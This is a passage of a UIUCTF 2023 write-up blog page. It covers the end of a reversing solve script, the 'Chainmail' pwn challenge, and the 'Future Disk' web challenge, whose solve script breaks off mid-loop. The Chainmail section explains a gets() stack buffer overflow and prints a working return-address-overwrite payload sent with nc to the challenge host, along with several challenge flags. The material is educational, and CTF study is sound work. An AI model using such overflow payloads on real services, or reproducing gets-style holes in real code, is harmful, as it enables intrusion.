1: /f $rax = -4.0117609975907898e+151
1: /f $rax = -7.0854219349746412e+33
1: /f $rax = -0
1: /f $rax = 1.3966977676222205
1: /f $rax = -0
1: /f $rax = 93.01034943574615
1: /f $rax = -89.204424936891314
1: /f $rax = -0
1: /f $rax = -126.55669891797004
1: /f $rax = -613.57861842951388
1: /f $rax = 161.36487031616679
1: /f $rax = 178.73853880744343
1: /f $rax = -85.575377705299331
1: /f $rax = 8.5465193972006208e+26
1: /f $rax = -9.0363744286576492e+87
1: /f $rax = 8.2600129371691562
1: /f $rax = 0.0021326131099172149"""</span>




<span class="n">flag_init_bytes</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">flag_init</span><span class="p">))</span>
<span class="n">flag_init_bytes</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">i</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">flag_init_bytes</span><span class="p">)</span> <span class="c1">#fix endianness
</span>
<span class="n">gauntlet_result</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">" = "</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">gauntlet_result_str</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)]</span>
<span class="n">gauntlet_result_bits</span> <span class="o">=</span> <span class="p">[</span><span class="s">"1"</span> <span class="k">if</span> <span class="p">(</span><span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="s">"-"</span> <span class="ow">or</span> <span class="p">(</span><span class="s">"nan"</span> <span class="ow">in</span> <span class="n">i</span><span class="p">))</span> <span class="k">else</span> <span class="s">"0"</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">gauntlet_result</span><span class="p">]</span>
<span class="n">gauntlet_result_bits</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">gauntlet_result_bits</span><span class="p">)</span>

<span class="n">key</span> <span class="o">=</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">gauntlet_result_bits</span><span class="p">,</span> <span class="mi">2</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">xor</span><span class="p">(</span><span class="n">flag_init_bytes</span><span class="p">,</span> <span class="n">key</span><span class="p">))</span>
<span class="c1">#uiuctf{n0t_So_f45t_w1th_0bscur3_b1ts_of_MaThs}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h2 id="pwn">Pwn</h2>

<h3 id="chainmail">Chainmail</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>I've come up with a winning idea to make it big in the Prodigy and Hotmail scenes (or at least make your email widespread)!

nc chainmail.chal.uiuc.tf 1337

Author: Emma
Solves: 256
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="chainmail_c">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-chainmail_c">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#chainmail_c-content" aria-expanded="true" aria-controls="chainmail_c-content">
         <p>Show chal.c</p>
 
      </button>
    </p>
    <div id="chainmail_c-content" class="accordion-collapse collapse" aria-labelledby="hd-chainmail_c" data-bs-parent="#chainmail_c">
      <div class="accordion-body pb-0">
          
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="rouge-code"><pre><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">give_flag</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/flag.txt"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">f</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">char</span> <span class="n">c</span><span class="p">;</span>
        <span class="k">while</span> <span class="p">((</span><span class="n">c</span> <span class="o">=</span> <span class="n">fgetc</span><span class="p">(</span><span class="n">f</span><span class="p">))</span> <span class="o">!=</span> <span class="n">EOF</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">putchar</span><span class="p">(</span><span class="n">c</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Flag not found!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">fclose</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

    <span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Hello, welcome to the chain email generator! Please give the name of a recipient: "</span><span class="p">);</span>
    <span class="n">gets</span><span class="p">(</span><span class="n">name</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Okay, here's your newly generated chainmail message!</span><span class="se">\n\n</span><span class="s">Hello %s,</span><span class="se">\n</span><span class="s">Have you heard the news??? Send this email to 10 friends or else you'll have bad luck!</span><span class="se">\n\n</span><span class="s">Your friend,</span><span class="se">\n</span><span class="s">Jim</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>In this challenge, we are given the source code. The challenge ask for a user input using gets, then print out the string after some formating. Notice that the input is taken using <code class="language-plaintext highlighter-rouge">gets</code>, this is a particularly dangerous function to use. Even the compiler warns you when using this function. But why is <code class="language-plaintext highlighter-rouge">gets</code> dangerous?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>chainmail$ gcc chal.c -o chal
chal.c: In function main:
chal.c:27:5: warning: implicit declaration of function gets; did you mean fgets? [-Wimplicit-function-declaration]
   27 |     gets(name);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/ccOKvDUG.o: in function `main':
chal.c:(.text+0x103): warning: the `gets' function is dangerous and should not be used.
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Well according to the functional specification, <code class="language-plaintext highlighter-rouge">gets</code> will keep reading input until a newline. This means that you can enter hundrads of characters and the function will not stop you. This combined with a finite buffer size means like you can control data on the stack.</p>

<p>There are a lot of useful thing stored on the stack, like the saved rbp to restore stack frame, and various local variable. But the most interesting one for exploitation purposes is the saved rip, which tells the program where to return back when this function ends. If we overwrite this value, the program will thing that this function is called by some weird location that we tell it, and resume execute from that location.</p>

<p>Now we know the vulnerability, let’s see how we can exploit this. We first check what protections are enabled on the compiled binary.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>chainmail<span class="nv">$ </span>checksec ./chal
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/mnt/c/Users/brons/ctf/uiucctf2023/chainmail/chal'</span>
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE <span class="o">(</span>0x400000<span class="o">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Seems like only NX is enabled, which stands for Not-eXecutable stack. Since there is a function that print out the flag for us, this doesn’t matter for us. All we need to do is to redirect the control flow to the start of this function and it will give us the flag. If you want to learn more detail stack buffer overflow and how the function redirection works, <a href="https://youtu.be/8QzOC8HfOqU">this video by LiveOverflow</a> is a great learning resource. Personally I learn a lot of the fundamentals from <a href="https://www.youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN">his playlist</a> as well.</p>

<p>There are a lot of methods to find the location of give_flag, like opening in ghidra or use cli tools like readelf</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>chainmail<span class="nv">$ </span>readelf <span class="nt">-s</span> ./chal|grep give_flag
    27: 0000000000401216   114 FUNC    GLOBAL DEFAULT   15 give_flag
</pre></td></tr></tbody></table></code></pre></div></div>

<p>From this we can craft a payload: 64 <code class="language-plaintext highlighter-rouge">a</code>s to fill the buffer, another 8  <code class="language-plaintext highlighter-rouge">a</code> as padding for saved rbp, and the print flag location in bytes (“\x16\x12\x40\x00\x00\x00\x00\x00”) for the save rip. This will overflow the stack, and after the main function ends, it will call the print flag function for us and this should print the flag, right?</p>

<p>If we send this payload, you’ll notice that it didn’t work, if we check with gdb you’ll notice that it segfault at some location. This is caused by stack alignment. In <a href="https://learn.microsoft.com/en-us/cpp/build/stack-usage?view=msvc-170#stack-allocation">x86-64 abi convention</a>, it requires the caller to maintain a 16 byte stack alignment. Quoted:</p>

<p>| The stack will always be maintained 16-byte aligned, except within the prolog (for example, after the return address is pushed), and except where indicated in Function Types for a certain class of frame functions.</p>

<p>But when we are calling the give_flag function, the stack actually isn’t aligned. This cause some libc function to freak out and break.</p>

<p>One way to fix this is to jump over the first <code class="language-plaintext highlighter-rouge">push rbp</code> instruction in give_flag. So instead of jumping to 0x401216, we’ll jump to 0x40121b. This aligns the stack and the program will no longer segfault. Another way is to insert a ret ROP gadget to move the stack down 0x8 byte, but I’ll omit the discussion about this technique here.</p>

<p>With that, all we need is to send the payload to remote and profit =D (See blow for the log of sending the payload to remote.)</p>

<p>flag:  <code class="language-plaintext highlighter-rouge">uiuctf{y0ur3_4_B1g_5h0t_n0w!11!!1!!!11!!!!1}</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre>chainmail$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x12\x40\x00\x00\x00\x00\x00' | nc chainmail.chal.uiuc.tf 1337
== proof-of-work: disabled ==
Hello, welcome to the chain email generator! Please give the name of a recipient: Okay, here's your newly generated chainmail message!

Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,
Have you heard the news??? Send this email to 10 friends or else you'll have bad luck!

Your friend,
Jim
uiuctf{y0ur3_4_B1g_5h0t_n0w!11!!1!!!11!!!!1}
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="web">Web</h2>

<h3 id="future-disk-12-">Future Disk 1/2 [*]</h3>

<h4 id="overview-2">Overview</h4>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="rouge-code"><pre>Ver 1:
I'm from the year 2123. Here's what I did:

-    Mounted my 10 exabyte flash drive
-    fallocate -l 8E haystack.bin
-    dd if=flag.txt bs=1 seek=[REDACTED] conv=notrunc of=haystack.bin
-    gzip haystack.bin
-    Put haystack.bin.gz on my web server for you to download

HTTP over Time Travel is a bit slow, so I hope gzipping it made it a little faster to download :)
https://futuredisk-web.chal.uiuc.tf/haystack.bin.gz

---
Ver 2:
Like futuredisk, but a little worse.

https://futuredisk2-web.chal.uiuc.tf/haystack2.bin.gz
---

Author: kuilin
Solves: 22 (Ver 1)/ 8 (Ver 2)
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Disclaimer</strong>: I only solve this challenge (both version) after the competition. In the final solve, I already know that block alignment can be used for binary serach, and I know the block size pattern for part 2.</p>

<p>In this challenge, we see that the flag is placed in a gigantic file, compressed, then placed on a file server for us to download. But how are we suppose to download this file? Even if we have the storage, there’s no way we can recieve the file through the network. Clearly with this large of the file, we must have some way to efficiently search through it or to get a index of the flag by inspecting a known part of the file.</p>

<h4 id="observation">Observation</h4>

<p>But first, we need to know what primitives we have. Let’s start with a basic recon. I start with curl with <code class="language-plaintext highlighter-rouge">-v</code> flag to get more information.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre>futuredisk$ curl -v -N https://futuredisk-web.chal.uiuc.tf/haystack.bin.gz --output - &gt; /dev/null
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 34.72.163.149:443...
[...]
&gt; GET /haystack.bin.gz HTTP/2
&gt; Host: futuredisk-web.chal.uiuc.tf
&gt; user-agent: curl/7.68.0
&gt; accept: */*
&gt;
[...]
&lt; HTTP/2 200
&lt; accept-ranges: bytes
&lt; content-type: application/octet-stream
&lt; date: Thu, 06 Jul 2023 02:26:50 GMT
&lt; etag: "1209f04b4-7fffffffffffffff"
&lt; last-modified: Sat, 12 Jun 2123 16:07:16 GMT
&lt; server: nginx/1.23.1
&lt; content-length: 9223372036854775807
&lt;
{ [5 bytes data]
  0 8191P    0  3813    0     0   2662      0 40102175  0:00:01 40102175  2664^C
</pre></td></tr></tbody></table></code></pre></div></div>

<p>From the trace, we can see that the full file will be 9223372036854775807 bytes, so yeah it’s impossible to get the full thing.</p>

<p>After some digging, I found the <code class="language-plaintext highlighter-rouge">--continued-at</code> argument to curl, which allow a user to start downloading from some offset. Looking at the log again, I notice that this is made possible by sending the <code class="language-plaintext highlighter-rouge">range</code> header. For example, if we include <code class="language-plaintext highlighter-rouge">range: bytes=1-10</code>, the server will only send bytes from byte 1 to 10. This basically allow the sender to decide what range of bytes the user wants to download from. More information about the range header can be found <a href="https://http.dev/range">here</a></p>

<p>To utilized this, I wrote a helper function using python’s requests library. This will be used later.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre># helper function to get bytes of certain range
# using the range header
def get_range(st, ed):
    headers = {'range':f"bytes={st}-{ed}"}
    print(headers)
    res = requests.get(url, headers=headers)
    return res._content # return raw bytes
</pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="file-strucutre">File Strucutre</h4>

<p>Now let’s inspect the actual file itself, well only part of it of course. We know that the file is compressed using gzip, maybe we can start by looking into the format for that. While searching up the header format, I found <a href="https://commandlinefanatic.com/cgi-bin/showarticle.cgi?article=art053">this website</a> that goes into great detail in disecting a gzip file. This website is extremely helpful for me in understanding the file structure. We know that after the file header, the data is split into blocks, with each block having its own header and compression methods. I also found <a href="https://pyokagan.name/blog/2019-10-18-zlibinflate/">this blog</a> that implements the deflate method in python so I can play around with it a little bit.</p>

<p>After augmenting the inflate code, I get to look at the huffman tables / block sizes / inflated sizes and some other information related to each block. Using the start of each file, we can observe the block sizes of each block.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre>futuredisk$ decode.py haystack1.gz
block 1: 193 bits
block 2: 65635 bits
block 3: 65634 bits
block 4: 65634 bits
block 5: 65634 bits
[...]
futuredisk$ decode.py haystack2.gz
block 1: 193 bits
block 2: 65635 bits
block 3: 106 bits
block 4: 108 bits
block 5: 110 bits
block 6: 112 bits
block 7: 114 bits
block 8: 116 bits
[...]
</pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="binary-search">Binary Search</h4>

<p>We can imaging the situation a little bit, lets say the flag is in the 10th block in a 20 block file. Since the file is mostly zero, we can assume the first 9 blocks will follow a pretty regular sequence. then there will be one block of a irregular size to store the flag, and the rest of the block back to the regular format. This means that if we can find the block header at the location we expects it, we haven’t reach the block containing the flag. Conversely, if we can’t find the block header, we have passed the flag block. The only challenge now is to calculate where the header bytes are.</p>

<h4 id="index-calculation">Index calculation</h4>

<p>For version 1, it’s simple as all blocks have the same size, so it’s a simple multiplication. For version 2, I’ll describe how I would have discover the pattern myself.</p>

<p>Firstly from the starting block, we know that after the first two block, it’s a steadily increasing sequence from 106 bit, I’ll just assume that this is the correct format and run the binary search with this formula. When it gets to the “flag” block, we can print out the following few blocks, and observe the pattern from there. For example, after the first block, the decrypted block size is as follow.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>futuredisk$ solve.py 
[...]
32765
Found!!!
block 32765: 65634 bits
block 32766: 108 bits
block 32767: 110 bits
block 32768: 112 bits
</pre></td></tr></tbody></table></code></pre></div></div>

<p>And slowly the block size format can be discovered. The bit length format is as follow, where each number is a block.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="rouge-code"><pre># 106 108 110 ... 65634
#     108 110 ... 65634
#         110 ... 65634
#             ... 65634
#                 65634
# 106 108 110 ... 65634
#     108 110 ... 65634
#         110 ... 65634
#             ... 65634
#                 65634
# ... repeat
# 106 108 110 ... 65634
#     108 110 ... 65634
#         110 ... 65634
#             ... 65634
#                 65634
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Given this format, it’s simple to come up with ways to calculate the block location with some math, I’ll omit the details here, but the detail can be found in the solve script.</p>

<p>After that, combined with our primitive, we can query for the flag location using binary search, and get the flag in the end.</p>

<p>Version1: <code class="language-plaintext highlighter-rouge">uiuctf{binary search means searching a binary stream, right :D}</code></p>

<p>Version2: <code class="language-plaintext highlighter-rouge">uiuctf{i sincerely hope that was not too contrived, deflate streams are cool}</code></p>

<div class="accordion mb-2" id="future_disk_solve">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-future_disk_solve">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#future_disk_solve-content" aria-expanded="true" aria-controls="future_disk_solve-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="future_disk_solve-content" class="accordion-collapse collapse" aria-labelledby="hd-future_disk_solve" data-bs-parent="#future_disk_solve">
      <div class="accordion-body pb-0">
          
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
</pre></td><td class="rouge-code"><pre><span class="c1"># deflate taken from https://pyokagan.name/blog/2019-10-18-zlibinflate/
# modified to print out bit count of each block
</span><span class="kn">import</span> <span class="nn">deflate</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">math</span>

<span class="n">VER</span> <span class="o">=</span> <span class="mi">2</span>
<span class="k">if</span> <span class="n">VER</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
    <span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"haystack1.gz"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
    <span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"haystack2.gz"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>

<span class="c1">## check bit count of starting blocks
#content = deflate.BitReader(f)
#content.read_bytes(10)
#s = deflate.inflate(content, 10)
</span>
<span class="k">if</span> <span class="n">VER</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
    <span class="n">url</span> <span class="o">=</span> <span class="s">"https://futuredisk-web.chal.uiuc.tf/haystack.bin.gz"</span>
<span class="k">else</span><span class="p">:</span>
    <span class="n">url</span> <span class="o">=</span> <span class="s">"https://futuredisk2-web.chal.uiuc.tf/haystack2.bin.gz"</span>

<span class="c1"># helper function to get bytes of certain range
# using the range header
</span><span class="k">def</span> <span class="nf">get_range</span><span class="p">(</span><span class="n">st</span><span class="p">,</span> <span class="n">ed</span><span class="p">):</span>
    <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s">'range'</span><span class="p">:</span><span class="sa">f</span><span class="s">"bytes=</span><span class="si">{</span><span class="n">st</span><span class="si">}</span><span class="s">-</span><span class="si">{</span><span class="n">ed</span><span class="si">}</span><span class="s">"</span><span class="p">}</span>
    <span class="k">print</span><span class="p">(</span><span class="n">headers</span><span class="p">)</span>
    <span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">res</span><span class="p">.</span><span class="n">_content</span>

<span class="c1"># count bits / bytes up to the given block index
</span><span class="k">def</span> <span class="nf">sum_block_size</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">VER</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
        <span class="c1"># Fix block bits size
</span>        <span class="n">bitcount</span> <span class="o">=</span> <span class="mi">87</span> <span class="o">+</span> <span class="mi">65634</span><span class="o">*</span><span class="p">(</span><span class="n">idx</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>

    <span class="k">else</span><span class="p">:</span>
        <span class="n">bitcount</span> <span class="o">=</span> <span class="mi">87</span> <span class="o">+</span> <span class="mi">65634</span>
        <span class="c1"># bit len format:
</span>        <span class="c1"># 106 108 110 ... 65634
</span>        <span class="c1">#     108 110 ... 65634
</span>        <span class="c1">#         110 ...
</span>        <span class="c1"># =
</span>        <span class="c1"># 1 2 3 ... 32765
</span>        <span class="c1">#   2 3 ... 32765
</span>        <span class="c1">#     3 ... 32765
</span>        <span class="c1"># * 2 + 105 * n
</span>        <span class="n">m</span> <span class="o">=</span> <span class="mi">32765</span>
        <span class="n">actual_idx</span> <span class="o">=</span> <span class="n">idx</span><span class="o">-</span><span class="mi">2</span>
        <span class="n">big_cycle</span> <span class="o">=</span> <span class="n">actual_idx</span> <span class="o">//</span> <span class="p">(</span><span class="n">m</span> <span class="o">*</span> <span class="p">(</span><span class="n">m</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span><span class="p">)</span>

        <span class="c1"># iter count
</span>        <span class="c1"># 32765 + 32764 + ...
</span>        <span class="c1"># (32765 + (32766-x))*x//2 &gt; actual_idx &gt; (32765 + (32766 - (x-1)))*(x-1)//2
</span>        <span class="n">big_cycle_bits</span> <span class="o">=</span> <span class="p">(</span><span class="n">m</span> <span class="o">*</span> <span class="p">(</span><span class="n">m</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">m</span><span class="o">+</span><span class="mi">1</span><span class="p">))</span><span class="o">//</span><span class="mi">6</span>
        <span class="n">big_cycle_bits</span> <span class="o">*=</span> <span class="mi">2</span>
        <span class="n">big_cycle_bits</span> <span class="o">+=</span> <span class="mi">104</span> <span class="o">*</span> <span class="p">(</span><span class="n">m</span> <span class="o">*</span> <span class="p">(</span><span class="n">m</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span><span class="p">)</span>
        <span class="n">bitcount</span> <span class="o">+=</span> <span class="n">big_cycle</span> <span class="o">*</span> <span class="n">big_cycle_bits</span>

        <span class="n">remain</span> <span class="o">=</span> <span class="n">actual_idx</span> <span class="o">%</span> <span class="p">(</span><span class="n">m</span> <span class="o">*</span> <span class="p">(</span><span class="n">m</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span><span class="p">)</span>
        <span class="n">cycle</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="n">total</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="k">while</span> <span class="n">total</span> <span class="o">+</span> <span class="n">m</span> <span class="o">-</span> <span class="n">cycle</span> <span class="o">&lt;</span> <span class="n">remain</span><span class="p">:</span>
            <span class="n">st</span> <span class="o">=</span> <span class="mi">106</span> <span class="o">+</span> <span class="n">cycle</span> <span class="o">*</span> <span class="mi">2</span>
            <span class="n">ct</span> <span class="o">=</span> <span class="n">m</span> <span class="o">-</span> <span class="n">cycle</span>
            <span class="n">ed</span> <span class="o">=</span> <span class="n">st</span> <span class="o">+</span> <span class="n">ct</span> <span class="o">*</span> <span class="mi">2</span>  <span class="o">-</span> <span class="mi">2</span>
            <span class="n">total</span> <span class="o">+=</span> <span class="n">ct</span>
            <span class="n">bitcount</span> <span class="o">+=</span> <span class="p">(</span><span class="n">st</span> <span class="o">+</span> <span class="n">ed</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">ct</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span>
            <span class="n">cycle</span> <span class="o">+=</span> <span class="mi">1</span>

        <span class="n">remain</span> <span class="o">-=</span> <span class="n">total</span>
        <span class="n">st</span> <span class="o">=</span> <span class="mi">106</span> <span class="o">+</span> <span class="n">cycle</span> <span class="o">*</span> <span class="mi">2</span>
        <span class="n">ed</span> <span class="o">=</span> <span class="mi">106</span> <span class="o">+</span> <span class="n">cycle</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">remain</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">-</span> <span class="mi">2</span>
        <span class="n">bitcount</span> <span class="o">+=</span> <span class="p">(</span><span class="n">st</span> <span class="o">+</span> <span class="n">ed</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">remain</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span>
    <span class="k">return</span> <span class="n">bitcount</span><span class="p">,</span> <span class="n">bitcount</span><span class="o">//</span><span class="mi">8</span>

<span class="c1">## Verify the block size get is correct
# for i in range(32760, 32780):
#     print(i, sum_block_size(i), get_range(sum_block_size(i)[1], sum_block_size(i)[1]+10))
</span>
<span class="c1">## Binary Search for flag using alignment
# VER 1
# block = 362917535825829
# VER 2
# block = 1142943246527020
</span><span class="n">st</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">ed</span> <span class="o">=</span> <span class="mi">9223372036854775807</span>
<span class="k">while</span> <span class="n">st</span><span class="o">&lt;</span><span class="n">ed</span><span class="p">:</span>
